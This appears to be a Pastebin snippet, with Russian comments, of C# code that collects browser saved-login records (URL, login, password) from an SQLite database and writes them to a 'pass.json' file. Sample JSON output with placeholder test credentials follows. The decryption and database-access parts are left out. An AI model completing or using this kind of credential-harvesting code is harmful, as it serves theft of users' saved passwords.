Guest User

Untitled

a guest
Dec 7th, 2018
794
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.87 KB | None | 0 0
  1. public class BaseAccount
  2. {
  3. [JsonProperty("Browser")]
  4. public string BrowserName { get; set; }
  5. [JsonProperty("Link")]
  6. public string Url { get; set; }
  7. [JsonProperty("Login")]
  8. public string User { get; set; }
  9. [JsonProperty("Password")]
  10. public string Pass { get; set; }
  11. }
  12.  
  13. private static HashSet<BaseAccount> _Logs = new HashSet<BaseAccount>();
  14. public static void Inizialize()
  15. {
  16. // большой кусок кода
  17. using (SQLiteDataReader reader = ComText.ExecuteReader())
  18. {
  19. while (reader.Read())
  20. {
  21. _Logs.Add(new BaseAccount
  22. {
  23. BrowserName = Name,
  24. Url = reader,
  25. User = reader,
  26. Pass = Pass
  27. });
  28. }
  29. }
  30. // Записываю в файл:
  31. foreach (BaseAccount ss in _Logs)
  32. {
  33. File.AppendAllText("pass.json", JsonConvert.SerializeObject(ss, Formatting.Indented));
  34. }
  35. }
  36.  
  37. {
  38. "Browser": "Opera",
  39. "Link": "https://account.mail.ru/login/",
  40. "Login": "MyRecovery",
  41. "Password": "Test"
  42. }{
  43. "Browser": "Opera",
  44. "Link": "https://passport.yandex.ru/restoration/changepassword",
  45. "Login": "MyRecovery",
  46. "Password": "Test"
  47. }{
  48. "Browser": "Opera",
  49. "Link": "https://e.mail.ru/messages/inbox/",
  50. "Login": "MyRecovery",
  51. "Password": "Test"
  52. }
  53.  
  54. {
  55. "browsers": {
  56. "chrome": [
  57. {
  58. "site": "http://google.ru",
  59. "login": "test",
  60. "password": "test"
  61. },
  62. {
  63. "site": "http://vk.ru",
  64. "login": "test",
  65. "password": "test"
  66. }
  67. ],
  68. "citrio": [
  69. {
  70. "site": "http://google.ru",
  71. "login": "test",
  72. "password": "test"
  73. }
  74. ],
  75. "opera": [
  76. {
  77. "site": "http://mail.ru",
  78. "login": "test",
  79. "password": "test"
  80. }
  81. ]
  82. }
  83. }
  84.  
  85. var serialized = JsonConvert.SerializeObject(_Logs, Newtonsoft.Json.Formatting.Indented);
Add Comment
Please, Sign In to add comment